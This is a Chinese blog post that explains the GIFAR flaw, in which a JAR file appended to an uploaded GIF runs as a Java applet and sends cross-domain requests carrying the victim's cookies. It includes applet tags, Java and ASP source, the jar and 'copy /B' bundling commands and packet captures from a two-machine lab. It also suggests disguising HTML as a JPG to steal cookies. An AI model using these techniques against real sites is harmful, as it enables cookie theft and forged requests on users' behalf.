跳至主要内容

GIFAR漏洞

作者： 走尽天涯路

漏洞描述：

这个漏洞的危害主要在于跨域的影响上。普通的XSS漏洞可能需要在target site上找一个XSS的漏洞，然后诱使受害者去访问存在XSS的页面或者是点击一个XSS的link。

但是这类跨域漏洞不同，他不需要在target site上做什么，而是只需要在任意一个第三方站点上构造一些恶意脚本就可以实施攻击了，攻击范围将扩大许多许多。

java只是这种利用方式的一种，这种捆绑文件的方式还有很多利用途径。其实这里主要说的就是如果在服务端没有做好过滤，这种捆绑文件能够被某些客户端程序强行解析的话，就会存在一个利用。

就这个漏洞来说，就是jvm会去强行解析jar，不管那个文件头是不是jar，也不管后缀，只要后面有jar文件头，就会去解析他。

这个漏洞之所以成为漏洞，其核心处就在于applet里发起的请求是用的stored cookie，而不是session cookie。

因为对于CSRF而言，使用的是session cookie，所以攻击者实施攻击的时候可能还需要诱骗用户打开个页面，以保证浏览器中存在target site的session cookie，才能CSRF成功。

而stored cookie是存在本地的，就算浏览器中没有session cookie，都能成功实施GIFAR攻击，而applet发起的socket，可以针对target site做更多事情，比如发起其他协议的请求。所以pdp才会说这个漏洞之所以危险，是在于它打破了浏览器的安全模型。

如果SUN要修补的话，肯定也是在这里进行修补，即把发起的http请求变成使用session cookie。

但是经过测试，发现这个漏洞还是有一定的局限性的。因为发现可以取到http response的头和cookie，但是取不到http request的头和cookie。 就是说前面提到的这个applet发起的请求里，会自动使用的stored cookie从applet里是读不出来的。

以下一些操作系统版本，自带JAVA环境：

雨林木风 ------- 集成微软 JAVA 虚拟机。

番茄花园 GHOST XP SP2 v 3.1 ----- 集合 MS JAVA 虚拟机

深度GHOSTXP SP3快速装机专业版V9.0(NTFS) ---------- 集成MSJAVA虚拟机

GhostXP SP3电脑公司完美特别修正版 v9.1 ------- 修正JAVA虚拟机不能启动的BUG

999宝藏网 GhostXP SP3 活力版 V3.0 -------- 微软 JAVA 虚拟机

电脑市场 GhostXP SP2装机版 v3.0

小路工作室 GhostXP P2008贺岁版[装机版]

深度技术 GHOST XP SP3 快速装机专业版 V8.1

漏洞测试

Applet本身的安全机制是不允许跨站的，它只允许自己访问applet标签所在页面的域。但是当applet标签中的codebase属性给定 了一个URL，让当前页面的applet到另一个域获取class或jar文件时，applet会自动为自己添加一个socket permission，也就是添加一个可以到class文件所在域的权限。使用copy /B命令可以把一个jar文件捆绑到一个gif上，捆绑后，同样可以让java虚拟机把这个GIF当成applet解释执行。这个技巧为漏洞的利用提供了 便利，虽然我们不能给目标服务器上传jar文件，但是我们有可能会被允许上传gif。

以下是一个利用GIFAR所要用到的applet标签，该标签只要在html中就会执行applet： 

<applet code="cn.isto.XSSJApplet" width="1000" height="200" codebase="http://www.***.com/images/cnitblog_com/axis/" archive="00.JPG" name="xss"> 
       <PARAM NAME="url" VALUE="http://www.***.com/axis/admin/"> 
</applet>

Code属性表示jar文件中的class名称，codebase表示jar文件所在的绝对路径（不包括文件名），archive表示jar文件的 文件名，PARAM是为了灵活控制给jar代码中的一些变量传值，这里的传的名称是url，对应的值是一个网站地址。可以根据自己要跨的域来改变这个地 址。

利用的环境按照上图所示，有两个域，A域和B域。我们在A域上发现了一个XSS漏洞，利用漏洞在A域的某个页面上放置一个applet标 签，B域恰好有一个功能，可以上传GIF图片。要得效果是在访问A域的页面同时，访问一下B域的隐私页面，以达到辅助入侵B域的目的，但是有两个问题，一 个是B域的cookie验证，另一个是浏览器不允许跨域访问。

利用GIFAR，就可以跨越这两个障碍。

下面我再详细的解释一下这个漏洞，在和刺的讨论过程中，问题集中在以下几点：

1， session cookie，和stored cookie。

2，跨域之后对所跨域的域名问题。

3， 跨域之后如何取COOKIE。

先说第一点，这两种cookie有什么区别呢？其实session cookie指的就是我们常说的session，而stored cookie就是我们常说的cookie。

GIFAR这里，使用的就是cookie，不是session，所以更容易出现CSRF攻击。

无论是JS还是applet，都限制只能访问当前域下的内容。比如这个JS如果是aaa.sohu.com，就不能访问bbb.sohu.com的东西，如果你跨域跨到了aaa.sohu.com，就可以访问aaa.sohu.com。

而cookie对于域名的要求就有点暧昧了，这要看在写程序时，你的cookie制定的域名是什么。来看以下这段jsp程序。 

Cookie ack = new Cookie(“kxlzx”,”password”);  
ack.setDomain(".sohu.com");

这段cookie制定了域名为“.sohu.com”这个一级域名。就表示这个域名下所有的二级域名、三级域名、四级。。。都可以访问这个 cookie。而默认的cookie域，如果不指定域，则会由程序自动制定到当前JSP文件所在的域下。例如www.sohu.com/a.jsp 这个jsp文件所在的域是二级域名www下，那么他的cookie就只有这个二级域名下的文件才可以访问，其他的域名例如img.sohu.com就不可 以访问这个cookie。

这个漏洞利用成功之后能做什么。跨域取cookie只是一种利用，还有很多种利用方式，比如CSRF。前文提到，cookie是有域名限 制的，如果要跨域取cookie，就必须保证这段取cookie的程序要在所跨域下的文件中执行。我一直推荐一种方式，就是当IE7以下浏览器去打开 JPG文件时，如果JPG文件其实是个HTML，就会执行HTML。那么取cookie得代码就可以写到这个文件上，之后上传到要跨的域，再利用 applet让受害者的浏览器访问这个JPG文件。这样，无论是挂马还是取cookie都可以在这里完成。

一个CSRF示例：

测试环境，有两台计算机，一台linux+apache下面简称APACHE域，一台windows+iis下面简称IIS域。APACHE域下的 某个文件出现了XSS漏洞。利用该XSS漏洞可以在页面上插入applet标签。IIS域下有上传gif文件功能，于是上传了一个gif文件，还有一个需 要cookie验证才能执行其他操作的隐私页面。最终要达到的效果是，IIS域的管理员（可以通过cookie验证的人）访问APACHE域下的XSS漏 洞页面，同时悄悄的访问到IIS域下的隐私页面（CSRF）。

IIS域下的页面a.asp，目的用来建立一个cookie，这个cookie可以通过b.asp的验证。这里模拟了相当于管理员登陆成功的过程。

a.asp代码： 

<%  
Response.Cookies("Cookie1")("kxlzx") = "testok" 
%>

作用是新建一个cookie。

IIS域下的b.asp代码: 

 <%   
dim cookie,key   

for each cookie in Request.Cookies   
if Request.Cookies(cookie).haskeys then   
    for each key in Request.Cookies(cookie)   
        if key="kxlzx" then  
            Response.Write "key 名字："&key"<BR>"   
            Response.Write "value 名字："&Request.Cookies(cookie)(key)"<BR>"   
            kxlzxfile=Server.MapPath("kxlzx.txt")   
            set fs=server.CreateObject("scripting.filesystemobject")   
            set file=fs.OpenTextFile(kxlzxfile,8,True,0)   
            file.WriteLine("key 名字："&key"" )   
            file.WriteLine("value 名字："&Request.Cookies(cookie)(key)"" )   
            file.close   
            set fs = nothing   
        end if   
    next   
end if   
next   

%>

通过了cookie验证后，会在当前目录下新建一个kxlzx.txt，最后看到这个文档时，意味着CSRF成功。

IIS域下的2.gif文件，编译前Ghost.java代码： 

  import java.applet.Applet;  
import java.io.InputStream;  
import java.net.URL;  
import java.net.URLConnection;  
public class Ghost extends Applet {  
    public void init() {  
        URLConnection uc;  
        try {  
            // 创建 HTTP连接   
            URL url = new URL(this.getParameter("url"));  
            uc = url.openConnection();  
            InputStream inputstream = null;  
            inputstream = uc.getInputStream();  
            System.out.println("test ok");  
        } catch (Exception ex) {  
            System.out.println("fu_ck");  
        }  
    }  
}

这个文件就是applet的代码，代码从applet标签的PARAM中取到url的值，之后访问这个URL。我们要把这个文件编译成jar，然后使用copy /B 附加到一个gif中。

APACHE域下的Test.php代码： 

 <applet codebase="http://192.168.0.88/" code="Ghost.class" archive="2.gif" name="Ghost.jar" >  
<PARAM name="url" value="http://192.168.0.88/b.asp"></PARAM>  
</applet>

下面开始测试

1， 首先使用jar cvf a.jar Ghost.class把class打到jar包里。

2， 输入命令copy a.gif /b + a.jar 2.gif把jar文件追加到a.gif，生成一个新文件2.gif。

3， 访问IIS域下的a.asp，保存cookie，并弹出保存的内容。

4， 访问APACHE域下的test.php。

5， 查看结果，看到kxlzx.txt中记录了cookie信息。

下面是在整个过程中抓到的几个包： 

第一个包：
GET /a.asp HTTP/1.1
Host: 192.168.0.88
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1

第二个包
GET /wwwroot/test.php HTTP/1.1
Host: 192.168.0.222
Accept-Encoding: gzip,deflate 
第三个包
GET /2.gif HTTP/1.1
content-type: application/x-java-archive
User-Agent: Mozilla/4.0 (Windows 2003 5.2) Java/1.6.0_03
Host: 192.168.0.88
Cookie: Cookie1=kxlzx=testok;

第四个包
GET /Ghost.class HTTP/1.1
Host: 192.168.0.88
Cookie: Cookie1=kxlzx=testok;

第五个包
GET /b.asp HTTP/1.1
User-Agent: Mozilla/4.0 (Windows 2003 5.2) Java/1.6.0_03
Host: 192.168.0.88
Cookie: Cookie1=kxlzx=testok;

第一个包是访问a.asp的，可以看到在这个向IIS域的请求中，没有cookie，但是访问过该文件之后就有了。

再看第二个包，访问了APACHE域的test.php，后面的包都是由applet自动发送的。

test.php里的applet又访问了gif文件，可以看到第三个包的Agent已经变成了“Java/1.6.0_03”，说明该包是java去访问的。

最后的包，就是CSRF的包，这个包成功的访问了b.asp，并且带有可以通过验证的cookie，成功的在根目录下生成了一个kxlzx.txt文件。CSRF的整个过程中，在用户访问APACHE域的同时，跨域访问了IIS域，并且带着IIS域的COOKIE。

参考文档：

http://knol.google.com/k/hi-clin003/-/jtjj0so2jjck/34#view http://wiki.clin003.com/wiki/GIFAR

http://www.inbreak.net/?action=show&id=124

http://hi.baidu.com/aullik5/blog/item/60d2b5fc1963ef1009244d71.html

评论

发表评论

此博客中的热门博文

6岁小朋友在PSP上看到不该看的东西

作者： 走尽天涯路
美国佛州的一位母亲Thamtha Tovar为自己六岁的儿子在Manatee的沃尔玛购买了一个礼物，一台全新的PSP， 然而当这位六岁的小朋友打开此PSP的时候，映入眼帘的却是一位"一丝不挂"的美女，惊恐之下，小朋友向自己的母亲哭诉了自己的遭遇。 伟 大的母亲听说此事勃然大怒，愤然找到沃尔玛的负责人要求对此事件作出合理解释，为何刚购买的PSP里的记忆卡会有"美女"在里面。沃尔玛的工作人员如此说 道："呃，你把机器带来过，我们把卡帮你取出来，然后我们会给您儿子免费提供一个新的游戏。"这位母亲说："我很乐意，但是恐怕你们没有明白我说的话。" 沃尔玛的一位发言人称他们正在调查为何发生此事，寻求解决此问题，而Tovar女士则要求更换一台全新的PSP并要求沃尔玛为此事道歉。 ------------------ 洛阳生活信息点评网:http://luoyanglife.com/ 洛阳生活信息，我爱打折论坛:http://bbs.luoyanglife.com/ 河南招生考试网:http://www.edu-ha.com/  
发表评论
阅读全文

照着做，你的人生一定很顺利！

作者： 走尽天涯路
　　01．犯了错误就该诚实地认错——狡辩、诿过只会害了自己。 　　02． 朋友 之间要保持距离——这样的 友谊 才能长久。　　 　　03．钱追人，人追健康——有了健康，还怕挣不到钱么？　　 　　04．别轻易转行——转行的风险很高，最好不要轻率为之。　　 　　05．适度地抬高身价——在就业市场中，人也是一种商品。　　 　　06．把敬业变成 习惯 ——从长期看是为了自己。　　 　　07．运用累积法壮大资产——不求快，不求多，不中断。　　 　　08．忍一时，争千秋形势比人强时，必须忍。　　 　　09．与其你死我活，不如你活我也活——这就是双赢，是良性竞争。　　 　　10．以"播种"的 心态 经营人际关系——种子播得越早越坚韧。　　 　　11．做事切勿率性而为——率性而为只会害了自己。　　 　　12．遇到魔鬼型的主管时——接受他的磨练可让你的 性格 越来越坚韧。　　 　　13．不要当众和主管吵架——那会让你无路可走，只有走人。　　 　　14．向不同行业的人学习新知识——记住，要用请教的 态度 。　　 　　15．所有的困难都是好事——这是老天爷在磨练你，目的是把重任交给你。　　 　　16．用吃亏就是占便宜的心态 做人 做事——那样你就可以迅速长大。　　 　　17．不要在失意者面前谈论你的得意——那样 伤害 你的人际关系。　　 　　18．不要小看守时这件事——守时是对别人的尊重。　　 　　19．用 时间 来看人——时间是检验大师。　　 　　20．用打听来看人——把获得的信息汇总，就可以了解那个人。　　 　　21．建立一个朋友档案——以免人到用时方恨少。　　 　　22．扩大交友圈——主动出击，不要等别人上门找你。　　 　　23．保持交友的弹性——敌人也可以变成朋友。　　 　　24．要交 喜欢 "修理"你的朋友——这种朋友是你的 人生 导师。 　　25．毛遂自荐，好处多多——让别人看到你，知道你的存在，知道你的能力。　　 　　26．小心突然升温的 友情 ——对待这种友情的正确态度是：不推不迎，礼尚往来。　　 　　27．做老二，不做老大——老大没当好，容易变成老三老四。　　 　　28．做人要中规中矩——目的是赢得他人的尊重和信赖。　　 ...
发表评论
阅读全文

设计良好网页的4项原则

作者： 走尽天涯路
我最喜欢的设计书籍之一就是《Robin Williams Design Workshop》.它深入实际的设计理论，并且包含许多极棒的设计实例。其中一个值得关注的地方就是4项主要的设计原则，它们已经在设计中为我所用。这 4项原则就是：反差, 重复, 排列, 和分类。 本文将讨论这4项与web设计相关的原则。只要在脑海中牢牢记住了这4项原则，你就一定可以设计出更加整洁漂亮的网页。 1.反差效果 好的反差效果设计可以给用户一个极好的第一印象。如果用户的眼睛没有焦点，注意力就会在处处是相同尺寸的元素和排版界面中迷失。设计师需要设计出很明显的突出视觉元素来引导用户的体验。你可以通过选择图片、颜色和字体等来形成良好的反差效果。 图片反差 当需要在很多小元素后面展示一个大尺寸的插图时，这种方法很有效。嗯，我的意思就是，比如： The Invoice Machine 这个网页利用一张大图片来吸引用户的注意。而同时网页很自然的单色又让很少的蓝色应用有了更好的效果。 Instabox 当你眼睛看到这个页面的时候，首先你会注意到什么？最有可能的就是盒子上面的那个星星了。跟 The Invoice Machine 一样，它们都是通过用一张大图片和很少的颜色来制造一个视觉焦点。 颜色反差 恰到好处地使用少量颜色，是网页中另一种制造视觉反差的有效方法。可以在网页的头部和文本拷贝中使用不同的颜色，也可以在一张图片或插图的颜色里面应用。 Fatburgr 这个网站是极出色的一个所有设计原则的应用实例。关于颜色反差我们来看看它大大的黄色头部和小小的淡灰文字。排列、图片反差、重复和分类这几个原则做得都很彻底。 I Love Typography 一个用来展示排版的网站如果在它自己的页首就为我们展示了一个极好的排版效果，那让人觉得多惊奇啊！我喜欢他们所用的字体，也喜欢他们良好的青色和深灰色搭配。 字体反差 如果你想通过字体来产生反差效果，就应该避免使用2个很相像的字体外观和大小。很相像的字体会造成混淆，并让设计变得模糊。不过把字体大小弄得很 不一样就会非常...
发表评论
阅读全文